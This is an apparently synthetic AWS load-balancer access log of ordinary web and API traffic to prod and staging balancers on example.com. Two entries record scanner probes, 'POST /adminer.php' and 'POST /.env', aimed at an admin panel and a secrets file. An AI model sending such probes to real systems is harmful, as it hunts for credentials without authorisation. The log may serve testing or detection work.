arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc74-54f0acfd29a0430c96c0dc85" "prod-api-alb.example.com" "-" 0 2024-11-01T00:20:52.590181Z "forward" "-" "-" "10.0.192.220:443" "200" "-" "-" -https 2024-11-01T00:20:53.599850Z prod-web-alb 158.221.151.218:36044 10.0.204.129:443 0.069664 0.203608 0.037692 200 200 290 6598 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc75-451c878a17af4a4ea9e538c1" "prod-web-alb.example.com" "-" 2 2024-11-01T00:20:53.599850Z "forward" "-" "-" "10.0.204.129:443" "200" "-" "-" -https 2024-11-01T00:20:54.594660Z staging-alb 102.25.92.153:44569 150.139.233.247:8080 0.044982 0.657322 0.011812 200 200 336 6750 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc76-c780356fa5704fc688601d62" "staging-alb.example.com" "-" 2 2024-11-01T00:20:54.594660Z "forward" "-" "-" "150.139.233.247:8080" "200" "-" "-" -http 2024-11-01T00:20:56.143048Z staging-alb 189.204.38.55:55234 28.68.194.67:443 0.081822 0.463502 0.056563 301 301 131 7077 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc78-dba293fc61394609a913b932" "staging-alb.example.com" "-" 6 2024-11-01T00:20:56.143048Z "forward" "-" "-" "28.68.194.67:443" "301" "-" "-" -http 2024-11-01T00:20:56.860251Z staging-alb 87.115.237.248:19168 15.220.129.159:443 0.110960 0.133606 0.024715 200 200 327 14860 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc78-b9e392d3bf844abd869ac9b4" "staging-alb.example.com" "-" 0 2024-11-01T00:20:56.860251Z "forward" "-" "-" "15.220.129.159:443" "200" "-" "-" -https 2024-11-01T00:20:57.146022Z prod-web-alb 50.123.192.190:63169 10.0.34.15:443 0.084333 0.212286 0.082423 404 404 617 1659 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc79-3de6aeabb54b4cce9e4b1fef" "prod-web-alb.example.com" "-" 1 2024-11-01T00:20:57.146022Z "forward" "-" "-" "10.0.34.15:443" "404" "-" "-" -https 2024-11-01T00:20:57.457185Z prod-web-alb 94.146.80.171:34840 10.0.54.87:443 0.080468 0.017650 0.086187 302 302 598 7928 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc79-671b09c6526346d1a9a90714" "prod-web-alb.example.com" "-" 2 2024-11-01T00:20:57.457185Z "forward" "-" "-" "10.0.54.87:443" "302" "-" "-" -http 2024-11-01T00:20:59.176139Z staging-alb 40.166.77.175:58518 32.127.81.175:443 0.026773 0.139844 0.038861 200 200 207 7579 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc7b-2e4f3f8eebaf46a4a41e9333" "staging-alb.example.com" "-" 7 2024-11-01T00:20:59.176139Z "forward" "-" "-" "32.127.81.175:443" "200" "-" "-" -https 2024-11-01T00:21:00.603152Z prod-web-alb 47.36.89.65:29421 10.0.95.201:443 0.075817 0.214479 0.027374 301 301 444 2347 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc7c-3f93885ec60e4a8abd347517" "prod-web-alb.example.com" "-" 8 2024-11-01T00:21:00.603152Z "forward" "-" "-" "10.0.95.201:443" "301" "-" "-" -http 2024-11-01T00:21:00.705174Z staging-alb 18.142.151.162:21743 136.23.223.9:80 0.063364 0.214508 0.148957 302 302 930 987 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc7c-a9534239c0d14238a70b6bb3" "staging-alb.example.com" "-" 1 2024-11-01T00:21:00.705174Z "forward" "-" "-" "136.23.223.9:80" "302" "-" "-" -http 2024-11-01T00:21:01.668035Z staging-alb 146.157.109.135:57481 190.141.203.50:80 0.049172 0.746866 0.050955 200 200 290 9846 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc7d-fd16c6b3fb024db4b6c9e66f" "staging-alb.example.com" "-" 1 2024-11-01T00:21:01.668035Z "forward" "-" "-" "190.141.203.50:80" "200" "-" "-" -https 2024-11-01T00:21:02.857420Z prod-api-alb 161.236.71.93:10873 10.0.147.226:443 0.004714 0.336149 0.075167 200 200 927 270 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc7e-4264cda74f004f5b8d19fce3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:21:02.857420Z "forward" "-" "-" "10.0.147.226:443" "200" "-" "-" -https 2024-11-01T00:21:04.215613Z staging-alb 10.89.95.197:52174 249.17.197.249:8080 0.100020 0.400590 0.145934 404 404 922 11645 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc80-eab0be87b14b459e8d1f2d8e" "staging-alb.example.com" "-" 7 2024-11-01T00:21:04.215613Z "forward" "-" "-" "249.17.197.249:8080" "404" "-" "-" -https 2024-11-01T00:21:04.530309Z prod-web-alb 133.52.236.97:34454 10.0.212.249:443 0.038187 0.306866 0.079601 200 200 424 6495 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc80-4962168d051749a0a228a953" "prod-web-alb.example.com" "-" 0 2024-11-01T00:21:04.530309Z "forward" "-" "-" "10.0.212.249:443" "200" "-" "-" -https 2024-11-01T00:21:06.074994Z staging-alb 176.128.170.88:52226 175.126.179.194:8080 0.082534 0.026458 0.136896 200 200 718 3591 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc82-a32ddf82a15145e8b42a3798" "staging-alb.example.com" "-" 5 2024-11-01T00:21:06.074994Z "forward" "-" "-" "175.126.179.194:8080" "200" "-" "-" -https 2024-11-01T00:21:06.809770Z prod-web-alb 100.250.53.42:55022 10.0.237.198:443 0.074618 0.070034 0.066379 404 404 881 11502 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc82-675d756b00c44a6b88bca7a2" "prod-web-alb.example.com" "-" 8 2024-11-01T00:21:06.809770Z "forward" "-" "-" "10.0.237.198:443" "404" "-" "-" -https 2024-11-01T00:21:06.959285Z staging-alb 144.135.83.221:24383 105.188.159.198:8080 0.063181 0.168043 0.044747 301 301 630 13105 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc82-3a29cdac22114b1ca9852445" "staging-alb.example.com" "-" 4 2024-11-01T00:21:06.959285Z "forward" "-" "-" "105.188.159.198:8080" "301" "-" "-" -https 2024-11-01T00:21:08.757025Z prod-api-alb 253.226.94.86:24168 10.0.178.110:443 0.026621 0.090855 0.077486 302 302 179 4495 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc84-d86bf8d86e164a908d73efd7" "prod-api-alb.example.com" "-" 6 2024-11-01T00:21:08.757025Z "forward" "-" "-" "10.0.178.110:443" "302" "-" "-" -https 2024-11-01T00:21:09.316035Z prod-api-alb 145.83.243.43:48465 10.0.215.116:443 0.022201 0.121544 0.032228 404 404 913 10185 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc85-69727985ab45405ebdbeb912" "prod-api-alb.example.com" "-" 7 2024-11-01T00:21:09.316035Z "forward" "-" "-" "10.0.215.116:443" "404" "-" "-" -https 2024-11-01T00:21:09.598984Z prod-api-alb 185.181.166.125:15477 10.0.189.249:443 0.000044 0.433605 0.035879 301 301 533 9276 "POST /adminer.php HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc85-72c2b93a1f4b4720ba5a2983" "-" "-" 10 2024-11-01T00:21:09.598984Z "forward" "-" "-" "10.0.189.249:443" "301" "-" "-" -http 2024-11-01T00:21:10.574299Z staging-alb 137.17.84.233:25340 171.238.152.4:80 0.072325 0.414141 0.020617 301 301 7 10807 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc86-45f85ca77474487aa0ba634b" "staging-alb.example.com" "-" 4 2024-11-01T00:21:10.574299Z "forward" "-" "-" "171.238.152.4:80" "301" "-" "-" -https 2024-11-01T00:21:10.899349Z prod-web-alb 108.41.128.77:27520 10.0.40.41:443 0.099404 0.032032 0.042229 200 200 755 6671 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc86-53df82861e9e4d49bb221602" "prod-web-alb.example.com" "-" 5 2024-11-01T00:21:10.899349Z "forward" "-" "-" "10.0.40.41:443" "200" "-" "-" -https 2024-11-01T00:21:12.147798Z prod-api-alb 242.217.115.39:43512 10.0.106.103:443 0.098212 0.156518 0.017385 200 200 59 12926 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc88-ce38a66a9bd747eb84b5493a" "prod-api-alb.example.com" "-" 4 2024-11-01T00:21:12.147798Z "forward" "-" "-" "10.0.106.103:443" "200" "-" "-" -https 2024-11-01T00:21:12.825478Z prod-api-alb 220.182.139.223:60001 10.0.72.62:443 0.074610 0.100200 0.025863 404 404 411 2072 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc88-1c761ee5ed6841f3a1cb2e4c" "prod-api-alb.example.com" "-" 0 2024-11-01T00:21:12.825478Z "forward" "-" "-" "10.0.72.62:443" "404" "-" "-" -http 2024-11-01T00:21:14.079119Z staging-alb 29.9.12.151:49049 69.172.83.163:443 0.105641 0.328805 0.091537 200 200 464 13150 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc8a-83a1cb8003de4dbe89d25047" "staging-alb.example.com" "-" 10 2024-11-01T00:21:14.079119Z "forward" "-" "-" "69.172.83.163:443" "200" "-" "-" -https 2024-11-01T00:21:14.520575Z staging-alb 162.204.112.97:20377 5.98.183.188:443 0.040400 0.661736 0.003904 200 200 491 3742 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc8a-c6a2a140121b42b2accfc476" "staging-alb.example.com" "-" 8 2024-11-01T00:21:14.520575Z "forward" "-" "-" "5.98.183.188:443" "200" "-" "-" -https 2024-11-01T00:21:16.376229Z prod-web-alb 185.181.166.125:24220 10.0.241.136:443 0.023372 0.427499 0.022198 301 301 529 1677 "POST /.env HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc8c-115ab5e667e7432e84db457d" "-" "-" 1 2024-11-01T00:21:16.376229Z "forward" "-" "-" "10.0.241.136:443" "301" "-" "-" -https 2024-11-01T00:21:18.119118Z prod-web-alb 7.49.151.204:56506 10.0.59.71:443 0.050693 0.231573 0.043785 302 302 527 6659 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc8e-bd2f9500d9de48c999bd3ca1" "prod-web-alb.example.com" "-" 1 2024-11-01T00:21:18.119118Z "forward" "-" "-" "10.0.59.71:443" "302" "-" "-" -http 2024-11-01T00:21:18.757287Z staging-alb 31.44.140.162:64519 160.130.60.82:80 0.083166 0.601398 0.044557 200 200 105 2748 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc8e-50614908c0ee4e69836100ec" "staging-alb.example.com" "-" 5 2024-11-01T00:21:18.757287Z "forward" "-" "-" "160.130.60.82:80" "200" "-" "-" -https 2024-11-01T00:21:20.278566Z prod-api-alb 110.11.26.249:42041 10.0.173.157:443 0.078242 0.041687 0.066645 301 301 753 13070 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc90-2d31587a8fd14a82a5025170" "prod-api-alb.example.com" "-" 5 2024-11-01T00:21:20.278566Z "forward" "-" "-" "10.0.173.157:443" "301" "-" "-" -https 2024-11-01T00:21:22.272227Z prod-web-alb 100.68.241.25:31304 10.0.64.181:443 0.057581 0.405237 0.034064 200 200 185 5473 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc92-392c747577674c9fbcc038ba" "prod-web-alb.example.com" "-" 2 2024-11-01T00:21:22.272227Z "forward" "-" "-" "10.0.64.181:443" "200" "-" "-" -http 2024-11-01T00:21:23.937120Z staging-alb 13.203.57.11:11029 102.138.55.96:8080 0.048506 0.533205 0.049649 301 301 869 2684 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc93-9a26b90c42f44493ac5792e3" "staging-alb.example.com" "-" 8 2024-11-01T00:21:23.937120Z "forward" "-" "-" "102.138.55.96:8080" "301" "-" "-" -https 2024-11-01T00:21:25.313201Z prod-web-alb 42.30.129.66:44698 10.0.203.11:443 0.015319 0.432111 0.045440 302 302 888 9763 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc95-bcbdaa82bc124cfdb79a2cad" "prod-web-alb.example.com" "-" 0 2024-11-01T00:21:25.313201Z "forward" "-" "-" "10.0.203.11:443" "302" "-" "-" -https 2024-11-01T00:21:27.162059Z prod-api-alb 69.153.240.160:39575 10.0.121.171:443 0.063416 0.012084 0.039462 200 200 997 2767 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc97-6b09b0c790374192a95b95b7" "prod-api-alb.example.com" "-" 7 2024-11-01T00:21:27.162059Z "forward" "-" "-" "10.0.121.171:443" "200" "-" "-" -https 2024-11-01T00:21:28.743075Z prod-api-alb 105.244.45.234:35011 10.0.104.90:443 0.039880 0.287510 0.003885 302 302 364 6296 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc98-935a8d7d41f04080a71274c3" "prod-api-alb.example.com" "-" 7 2024-11-01T00:21:28.743075Z "forward" "-" "-" "10.0.104.90:443" "302" "-" "-" -https 2024-11-01T00:21:29.562783Z staging-alb 153.47.127.98:43610 66.176.128.151:80 0.144519 0.635064 0.058836 200 200 163 9404 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc99-f5ef1c709e7141f7b3303dfa" "staging-alb.example.com" "-" 5 2024-11-01T00:21:29.562783Z "forward" "-" "-" "66.176.128.151:80" "200" "-" "-" -https 2024-11-01T00:21:31.068270Z staging-alb 247.105.126.175:12495 143.167.197.149:443 0.076693 0.654383 0.116140 200 200 492 10057 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc9b-bf1118d9e254451eb54c94e4" "staging-alb.example.com" "-" 7 2024-11-01T00:21:31.068270Z "forward" "-" "-" "143.167.197.149:443" "200" "-" "-" -https 2024-11-01T00:21:31.492266Z prod-web-alb 6.150.61.48:31871 10.0.235.227:443 0.046018 0.137089 0.066939 301 301 849 10395 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc9b-96f7bb4d67784619afb8d6a9" "prod-web-alb.example.com" "-" 10 2024-11-01T00:21:31.492266Z "forward" "-" "-" "10.0.235.227:443" "301" "-" "-" -https 2024-11-01T00:21:32.110292Z prod-web-alb 177.89.24.74:28076 10.0.105.194:443 0.007407 0.303143 0.091700 404 404 479 7945 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc9c-09496bd43ad447ab91c74b44" "prod-web-alb.example.com" "-" 5 2024-11-01T00:21:32.110292Z "forward" "-" "-" "10.0.105.194:443" "404" "-" "-" -https 2024-11-01T00:21:33.208944Z prod-web-alb 25.150.240.43:62345 10.0.11.109:443 0.032903 0.461116 0.065436 200 200 736 8199 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc9d-49f98795e4ad4194a1946d54" "-" "-" 0 2024-11-01T00:21:33.208944Z "forward" "-" "-" "10.0.11.109:443" "200" "-" "-" -https 2024-11-01T00:21:35.079711Z prod-web-alb 192.47.149.215:33217 10.0.131.121:443 0.027741 0.204291 0.045682 301 301 975 6201 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc9f-9f57372d9a1a4ff1918b0e8b" "prod-web-alb.example.com" "-" 4 2024-11-01T00:21:35.079711Z "forward" "-" "-" "10.0.131.121:443" "301" "-" "-" -https 2024-11-01T00:21:35.701000Z prod-api-alb 122.115.173.28:12444 10.0.70.8:443 0.053202 0.361751 0.055582 200 200 131 4534 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc9f-5870498ea8354e9fadfa5aa4" "prod-api-alb.example.com" "-" 8 2024-11-01T00:21:35.701000Z "forward" "-" "-" "10.0.70.8:443" "200" "-" "-" -https 2024-11-01T00:21:36.901041Z staging-alb 166.111.50.33:20958 204.225.160.24:80 0.031607 0.657189 0.068909 404 404 924 11665 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bca0-02c11d9e164c4db8882f1ce5" "staging-alb.example.com" "-" 4 2024-11-01T00:21:36.901041Z "forward" "-" "-" "204.225.160.24:80" "404" "-" "-" -https 2024-11-01T00:21:38.143405Z prod-api-alb 121.197.114.167:24007 10.0.165.106:443 0.030653 0.154749 0.080242 200 200 926 6987 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bca2-600a77a5d5be4fadbd6dbdd7" "prod-api-alb.example.com" "-" 3 2024-11-01T00:21:38.143405Z "forward" "-" "-" "10.0.165.106:443" "200" "-" "-" -http 2024-11-01T00:21:38.689631Z staging-alb 250.28.106.145:62498 148.10.71.56:80 0.072728 0.152985 0.038203 200 200 218 10830 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bca2-987732ce1b184874a1895053" "staging-alb.example.com" "-" 0 2024-11-01T00:21:38.689631Z "forward" "-" "-" "148.10.71.56:80" "200" "-" "-" -https 2024-11-01T00:21:38.867088Z prod-api-alb 11.141.43.62:35385 10.0.151.131:443 0.069172 0.022031 0.005719 200 200 755 3591 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bca2-3c65b9323a0a4feead495c68" "prod-api-alb.example.com" "-" 8 2024-11-01T00:21:38.867088Z "forward" "-" "-" "10.0.151.131:443" "200" "-" "-" -https 2024-11-01T00:21:39.286573Z staging-alb 133.121.159.226:27781 241.63.4.51:443 0.080379 0.234677 0.065205 200 200 636 8382 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bca3-e8d59fa13c5d41fe9194b97f" "-" "-" 10 2024-11-01T00:21:39.286573Z "forward" "-" "-" "241.63.4.51:443" "200" "-" "-" -https 2024-11-01T00:21:39.398342Z prod-api-alb 251.51.53.21:27410 10.0.57.244:443 0.033245 0.355972 0.017419 200 200 823 14830 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bca3-6241138600ac4469a3c42bed" "prod-api-alb.example.com" "-" 4 